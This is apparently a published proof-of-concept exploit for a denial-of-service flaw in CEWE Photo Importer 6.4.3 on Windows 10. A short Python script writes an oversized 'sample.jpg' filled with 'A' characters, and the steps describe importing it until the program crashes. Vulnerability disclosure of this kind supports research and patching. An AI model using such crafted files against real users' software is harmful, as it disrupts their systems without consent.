CEWE Photo Importer 6.4.3 – ‘.jpg’ Denial of Service (PoC)
# -*- coding: utf-8 -*- # Exploit Title: CEWE PHOTO IMPORTER 6.4.3 - Denial of Service (PoC) # Date: 16/05/2019 # Author: Alejandra Sánchez # Vendor Homepage: https://cewe-photoworld.com/ # Software: https://cewe-photoworld.com/creator-software/windows-download # Version: 6.4.3 # Tested on: Windows 10 # Proof of Concept: # 1.- Run the python script 'photoimporter.py',it will create a new file "sample.jpg" # 2.- Open CEWE PHOTO IMPORTER # 3.- Select the 'sample.jpg' file created and click 'Import all' # 4.- Click 'Next' and 'Next', you will see a crash buffer = "\x41" * 500000 f = open ("sample.jpg", "w") f.write(buffer) f.close() |